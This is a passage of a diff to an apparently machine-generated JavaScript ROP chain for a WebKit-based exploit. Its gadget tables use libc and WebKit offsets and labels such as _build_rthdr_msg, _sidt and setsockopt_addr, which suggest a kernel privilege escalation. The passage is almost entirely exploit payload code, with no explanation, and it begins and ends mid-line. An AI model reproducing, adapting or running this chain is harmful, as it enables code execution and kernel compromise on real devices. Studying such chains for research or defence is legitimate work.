[rax], cl +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+271984, //L4799 +ropchain+273552, //L4797 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx ]); -//L4798: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax +//L4797: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi //L4799: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+272056, //L4801 +ropchain+273736, //L4802 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi -]); -//L4800: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4801: -db([0, 0]); // 0x0 -set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+272128, //L4803 +ropchain+273752, //L4803 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+50775, //mov rax, rdi +libc_base+793877, //pop rsi +ropchain+273720, //L4800 +webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx +libc_base+793877, //pop rsi +ropchain+273704, //L4801 +webkit_base+7438103, //mov [rsi], rax +webkit_base+3750700 //pop r11 ; mov rax, rdi ]); +//L4801: +db([0, 0]); // 0x0 +set_gadget(libc_base+792472,); //pop rcx +//L4800: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi //L4802: -db([1, 0]); // 0x1 +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L4803: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+272200, //L4805 +ropchain+273848, //L4805 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +webkit_base+1786005, //mov rax, r11 +libc_base+793877, //pop rsi +ropchain+273832, //L4804 +webkit_base+7438103, //mov [rsi], rax +libc_base+206806 //pop rdi ]); //L4804: -db([1, 0]); // 0x1 +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L4805: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +db([8, 0]); // 0x8 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+272272, //L4807 +ropchain+273936, //L4807 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); @@ -35159,743 +35250,602 @@ set_gadget(libc_base+788575,); //pop rax db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+272344, //L4809 +ropchain+273992, //L4808 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+759626, //mov rax, r8 +libc_base+792472 //pop rcx ]); //L4808: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4809: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L4809: +db([4294967280, 4294967295]); // -0x10 set_gadgets([ libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +webkit_base+954100, //mov [rax], ecx libc_base+793877, //pop rsi -ropchain+272416, //L4811 +ropchain+274072, //L4811 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx ]); -//L4810: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax //L4811: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl -libc_base+793877, //pop rsi -ropchain+272488, //L4813 -webkit_base+7438103, //mov [rsi], rax +libc_base+191168, //mov rax, [rdi] libc_base+793877 //pop rsi ]); -//L4812: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4813: -db([0, 0]); // 0x0 +db([4294967288, 4294967295]); // -0x8 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+811575, //pop rsp +ropchain+268976, //L4682 +//L4715: +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+272560, //L4815 +ropchain+274168, //L4813 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +webkit_base+3750700 //pop r11 ; mov rax, rdi ]); +//L4813: +db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax //L4814: db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax +set_gadget(libc_base+206806,); //pop rdi //L4815: -db([0, 0]); // 0x0 +db([1, 0]); // 0x1 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+272632, //L4817 +ropchain+274304, //L4818 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi -]); -//L4816: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4817: -db([0, 0]); // 0x0 -set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+272704, //L4819 +ropchain+274352, //L4820 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +webkit_base+1786005, //mov rax, r11 +libc_base+793877, //pop rsi +ropchain+274336, //L4819 +webkit_base+7438103, //mov [rsi], rax +webkit_base+3750700 //pop r11 ; mov rax, rdi ]); //L4818: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax +db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L4817: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi //L4819: db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L4820: +db([0, 0]); // 0x0 set_gadgets([ +webkit_base+11676600, //cmp rax, rsi ; sete al +libc_base+269973, //movzx eax, al +webkit_base+414627, //shl rax, 3 +libc_base+793877, //pop rsi +ropchain+274464, //L4821+8 libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+186490, //mov rax, [rax] libc_base+793877, //pop rsi -ropchain+272776, //L4821 +ropchain+274456, //L4821 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +webkit_base+1786005, //mov rax, r11 +libc_base+811575 //pop rsp ]); -//L4820: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax //L4821: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl -libc_base+793877, //pop rsi -ropchain+272848, //L4823 -webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi -]); +ropchain+274480, //L4821+24 +ropchain+274496, //L4816 +libc_base+811575, //pop rsp +ropchain+255824, //L4345 +//L4816: //L4822: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax +libc_base+788575 //pop rax +]); //L4823: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +db([8, 0]); // 0x8 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl -libc_base+793877, //pop rsi -ropchain+272920, //L4825 -webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax +libc_base+792472 //pop rcx ]); //L4824: db([1, 0]); // 0x1 set_gadget(libc_base+788575,); //pop rax //L4825: -db([0, 0]); // 0x0 +db([1, 0]); // 0x1 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl -libc_base+793877, //pop rsi -ropchain+272992, //L4827 -webkit_base+7438103, //mov [rsi], rax +libc_base+191168, //mov rax, [rdi] libc_base+793877 //pop rsi ]); -//L4826: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4827: -db([0, 0]); // 0x0 +db([4294967288, 4294967295]); // -0x8 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+877175, //sub rax, rcx ; sbb rdx, rcx libc_base+793877, //pop rsi -ropchain+273064, //L4829 +ropchain+274720, //L4827 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+793877, //pop rsi +ropchain+274736, //L4828 +webkit_base+7438103, //mov [rsi], rax +libc_base+50775, //mov rax, rdi +libc_base+793877, //pop rsi +ropchain+274704, //L4826 +webkit_base+7438103, //mov [rsi], rax +webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L4828: -db([1, 0]); // 0x1 +//L4826: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi +//L4827: +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4829: +//L4828: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+273136, //L4831 +ropchain+274840, //L4829 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+793877, //pop rsi +ropchain+274872, //L4831 +webkit_base+7438103, //mov [rsi], rax +libc_base+759626, //mov rax, r8 +libc_base+793877, //pop rsi +ropchain+274856, //L4830 +webkit_base+7438103, //mov [rsi], rax +libc_base+792472 //pop rcx ]); +//L4829: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi //L4830: -db([1, 0]); // 0x1 +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L4831: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+191168, //mov rax, [rdi] +libc_base+793877 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+273208, //L4833 +ropchain+274968, //L4832 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+793877, //pop rsi +ropchain+274984, //L4833 +webkit_base+7438103, //mov [rsi], rax +webkit_base+432898 //pop r8 ]); //L4832: -db([1, 0]); // 0x1 +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L4833: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+191168, //mov rax, [rdi] +libc_base+793877 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+273280, //L4835 +ropchain+275096, //L4834 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+793877, //pop rsi +ropchain+275080, //L4835 +webkit_base+7438103, //mov [rsi], rax +libc_base+788575 //pop rax ]); -//L4834: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax //L4835: db([0, 0]); // 0x0 +set_gadget(libc_base+811575,); //pop rsp +//L4834: +db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+273352, //L4837 +ropchain+275184, //L4837 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+759626, //mov rax, r8 +libc_base+793877, //pop rsi +ropchain+275168, //L4836 +webkit_base+7438103, //mov [rsi], rax +libc_base+206806 //pop rdi ]); //L4836: -db([1, 0]); // 0x1 +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L4837: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+191168, //mov rax, [rdi] +libc_base+793877 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+273424, //L4839 +ropchain+275280, //L4838 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+793877, //pop rsi +ropchain+275296, //L4839 +webkit_base+7438103, //mov [rsi], rax +webkit_base+432898 //pop r8 ]); //L4838: -db([1, 0]); // 0x1 +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L4839: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl -libc_base+793877, //pop rsi -ropchain+273496, //L4841 -webkit_base+7438103, //mov [rsi], rax +libc_base+191168, //mov rax, [rdi] libc_base+793877 //pop rsi ]); -//L4840: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4841: -db([0, 0]); // 0x0 +db([4294967288, 4294967295]); // -0x8 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+273568, //L4843 +ropchain+275408, //L4840 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi -]); -//L4842: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4843: -db([0, 0]); // 0x0 -set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+273640, //L4845 +ropchain+275392, //L4841 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+788575 //pop rax ]); -//L4844: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4845: +//L4841: +db([0, 0]); // 0x0 +set_gadget(libc_base+811575,); //pop rsp +//L4840: db([0, 0]); // 0x0 +//L4336: +set_gadget(libc_base+793877,); //pop rsi +db([208, 0]); // 0xd0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl -libc_base+793877, //pop rsi -ropchain+273712, //L4847 -webkit_base+7438103, //mov [rsi], rax +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+788575, //pop rax +libc_base+206806, //pop rdi +libc_base+471355, //mov [rdi], rax libc_base+793877 //pop rsi ]); -//L4846: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4847: -db([0, 0]); // 0x0 +db([4294967280, 4294967295]); // -0x10 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+788575, //pop rax libc_base+793877, //pop rsi -ropchain+273784, //L4849 -webkit_base+7438103, //mov [rsi], rax +libc_base+471355, //mov [rdi], rax +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+788575, //pop rax +webkit_base+105267, //pop rdx +libc_base+471355, //mov [rdi], rax +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+788575, //pop rax +libc_base+792472, //pop rcx +libc_base+471355, //mov [rdi], rax +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+788575, //pop rax +webkit_base+432898, //pop r8 +libc_base+471355, //mov [rdi], rax +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+788575, //pop rax +webkit_base+10235455, //pop r9 +libc_base+471355, //mov [rdi], rax +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+788575, //pop rax +libc_base+785193, //xor rax, rax +libc_base+471355, //mov [rdi], rax libc_base+793877 //pop rsi ]); -//L4848: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4849: -db([0, 0]); // 0x0 +db([4294967288, 4294967295]); // -0x8 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+788575, //pop rax +libc_base+11, //nop +libc_base+471355, //mov [rdi], rax +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+788575, //pop rax +libc_base+11, //nop +libc_base+471355, //mov [rdi], rax +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+788575, //pop rax libc_base+793877, //pop rsi -ropchain+273856, //L4851 -webkit_base+7438103, //mov [rsi], rax +libc_base+471355, //mov [rdi], rax libc_base+793877 //pop rsi ]); -//L4850: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4851: -db([0, 0]); // 0x0 +db([4294967280, 4294967295]); // -0x10 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl -libc_base+793877, //pop rsi -ropchain+273928, //L4853 +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+788575, //pop rax webkit_base+7438103, //mov [rsi], rax +libc_base+471355, //mov [rdi], rax libc_base+793877 //pop rsi ]); -//L4852: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4853: -db([0, 0]); // 0x0 +db([4294967288, 4294967295]); // -0x8 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl -libc_base+793877, //pop rsi -ropchain+274000, //L4855 -webkit_base+7438103, //mov [rsi], rax +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+788575, //pop rax +libc_base+792472, //pop rcx +libc_base+471355, //mov [rdi], rax libc_base+793877 //pop rsi ]); -//L4854: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4855: -db([0, 0]); // 0x0 +db([4294967280, 4294967295]); // -0x10 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl -libc_base+793877, //pop rsi -ropchain+274072, //L4857 -webkit_base+7438103, //mov [rsi], rax +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+788575, //pop rax +libc_base+206806, //pop rdi +libc_base+471355, //mov [rdi], rax +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+788575, //pop rax +webkit_base+432898, //pop r8 +libc_base+471355, //mov [rdi], rax +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+788575, //pop rax +libc_base+811575, //pop rsp +libc_base+471355, //mov [rdi], rax +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+191168, //mov rax, [rdi] libc_base+793877 //pop rsi ]); -//L4856: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4857: -db([0, 0]); // 0x0 +db([8, 0]); // 0x8 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl -libc_base+793877, //pop rsi -ropchain+274144, //L4859 -webkit_base+7438103, //mov [rsi], rax +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax libc_base+793877 //pop rsi ]); -//L4858: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4859: -db([0, 0]); // 0x0 +db([4294967280, 4294967295]); // -0x10 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl -libc_base+793877, //pop rsi -ropchain+274216, //L4861 -webkit_base+7438103, //mov [rsi], rax +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+191168, //mov rax, [rdi] libc_base+793877 //pop rsi ]); -//L4860: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4861: -db([0, 0]); // 0x0 +db([208, 0]); // 0xd0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl -libc_base+793877, //pop rsi -ropchain+274288, //L4863 -webkit_base+7438103, //mov [rsi], rax +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax libc_base+793877 //pop rsi ]); -//L4862: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4863: -db([0, 0]); // 0x0 +db([4294967080, 4294967295]); // -0xd8 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl -libc_base+793877, //pop rsi -ropchain+274360, //L4865 -webkit_base+7438103, //mov [rsi], rax +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+191168, //mov rax, [rdi] libc_base+793877 //pop rsi ]); -//L4864: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4865: -db([0, 0]); // 0x0 +db([200, 0]); // 0xc8 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl -libc_base+793877, //pop rsi -ropchain+274432, //L4867 -webkit_base+7438103, //mov [rsi], rax +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax libc_base+793877 //pop rsi ]); -//L4866: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4867: -db([0, 0]); // 0x0 +db([4294967088, 4294967295]); // -0xd0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl -libc_base+793877, //pop rsi -ropchain+274504, //L4869 -webkit_base+7438103, //mov [rsi], rax +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+191168, //mov rax, [rdi] libc_base+793877 //pop rsi ]); -//L4868: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4869: -db([0, 0]); // 0x0 +db([192, 0]); // 0xc0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl -libc_base+793877, //pop rsi -ropchain+274576, //L4871 -webkit_base+7438103, //mov [rsi], rax +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax libc_base+793877 //pop rsi ]); -//L4870: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4871: -db([0, 0]); // 0x0 +db([4294967096, 4294967295]); // -0xc8 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl -libc_base+793877, //pop rsi -ropchain+274648, //L4873 -webkit_base+7438103, //mov [rsi], rax +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+191168, //mov rax, [rdi] libc_base+793877 //pop rsi ]); -//L4872: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4873: -db([0, 0]); // 0x0 +db([184, 0]); // 0xb8 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl -libc_base+793877, //pop rsi -ropchain+274720, //L4875 -webkit_base+7438103, //mov [rsi], rax +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax libc_base+793877 //pop rsi ]); -//L4874: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4875: -db([0, 0]); // 0x0 +db([4294967104, 4294967295]); // -0xc0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl -libc_base+793877, //pop rsi -ropchain+274792, //L4877 -webkit_base+7438103, //mov [rsi], rax +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+191168, //mov rax, [rdi] libc_base+793877 //pop rsi ]); -//L4876: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4877: -db([0, 0]); // 0x0 +db([176, 0]); // 0xb0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl -libc_base+793877, //pop rsi -ropchain+274864, //L4879 -webkit_base+7438103, //mov [rsi], rax +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax libc_base+793877 //pop rsi ]); -//L4878: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4879: -db([0, 0]); // 0x0 +db([4294967112, 4294967295]); // -0xb8 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl -libc_base+793877, //pop rsi -ropchain+274936, //L4881 -webkit_base+7438103, //mov [rsi], rax +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+191168, //mov rax, [rdi] libc_base+793877 //pop rsi ]); -//L4880: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4881: -db([0, 0]); // 0x0 +db([168, 0]); // 0xa8 set_gadgets([ -libc_base+547636, //add rax, rsi -libc_base+759626, //mov rax, r8 +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax libc_base+793877 //pop rsi ]); -//L4882: -db([4294967040, 4294967295]); // -0x100 +db([4294967272, 4294967295]); // -0x18 set_gadgets([ -libc_base+547636, //add rax, rsi -libc_base+793877, //pop rsi -ropchain+275032, //L4885 -webkit_base+7438103, //mov [rsi], rax +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+50775, //mov rax, rdi libc_base+792472 //pop rcx ]); -//L4884: -db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L4885: -db([0, 0]); // 0x0 +db([4294967280, 4294967295]); // -0x10 set_gadgets([ -webkit_base+865136, //mov [rax], cl +webkit_base+5202439, //and rax, rcx +libc_base+792472, //pop rcx +setsockopt_addr, +webkit_base+2997875, //mov [rax], rcx +libc_base+793877 //pop rsi +]); +db([4294967192, 4294967295]); // -0x68 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+50775, //mov rax, rdi -libc_base+793877, //pop rsi -ropchain+275104, //L4887 -webkit_base+7438103, //mov [rsi], rax -libc_base+788575 //pop rax +libc_base+793877 //pop rsi ]); -//L4886: -db([256, 0]); // 0x100 -set_gadget(libc_base+792472,); //pop rcx -//L4887: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -db([8, 0]); // 0x8 +db([48, 0]); // 0x30 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax -libc_base+759626, //mov rax, r8 -libc_base+793877, //pop rsi -ropchain+275200, //L4889 -webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L4888: -db([4294967040, 4294967295]); // -0x100 -set_gadget(libc_base+788575,); //pop rax -//L4889: -db([0, 0]); // 0x0 +db([4294967280, 4294967295]); // -0x10 set_gadgets([ -libc_base+547636, //add rax, rsi +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+759626, //mov rax, r8 +libc_base+471355, //mov [rdi], rax libc_base+793877 //pop rsi ]); -db([8, 0]); // 0x8 +db([32, 0]); // 0x20 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+471355, //mov [rdi], rax -libc_base+788575, //pop rax -//L4891: -ropchain+275312, //L4890 +libc_base+50775, //mov rax, rdi libc_base+793877 //pop rsi ]); -db([8, 0]); // 0x8 +db([24, 0]); // 0x18 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax -libc_base+811575, //pop rsp -ropchain+246552, //_build_rthdr_msg -//L4890: -libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); -db([4294967280, 4294967295]); // -0x10 +db([128, 0]); // 0x80 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+275400, //L4894 +ropchain+276736, //L4842 webkit_base+7438103, //mov [rsi], rax -libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+811575 //pop rsp ]); -//L4892: -db([4294967036, 4294967295]); // -0x104 -set_gadget(libc_base+792472,); //pop rcx -//L4894: +//L4842: db([0, 0]); // 0x0 +//_sidt: +set_gadget(libc_base+793877,); //pop rsi +db([8, 0]); // 0x8 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+954100, //mov [rax], ecx +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+275464, //L4897 +ropchain+276808, //L4843 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx -libc_base+792472 //pop rcx -]); -//L4897: -db([0, 0]); // 0x0 -//L4895: -set_gadgets([ libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +webkit_base+432898 //pop r8 ]); -//L4898: -db([4294967028, 4294967295]); // -0x10c -set_gadget(libc_base+792472,); //pop rcx -//L4900: +//L4843: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi +libc_base+471355, //mov [rdi], rax +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+275568, //L4902 +ropchain+276872, //L4846 webkit_base+7438103, //mov [rsi], rax -libc_base+792472 //pop rcx +libc_base+759626, //mov rax, r8 +webkit_base+432898 //pop r8 ]); -//L4901: -db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L4902: +//L4846: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +db([128, 0]); // 0x80 set_gadgets([ -webkit_base+954100, //mov [rax], ecx -libc_base+793877, //pop rsi -ropchain+275624, //L4905 -webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx -libc_base+792472 //pop rcx +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+759626, //mov rax, r8 +libc_base+792472, 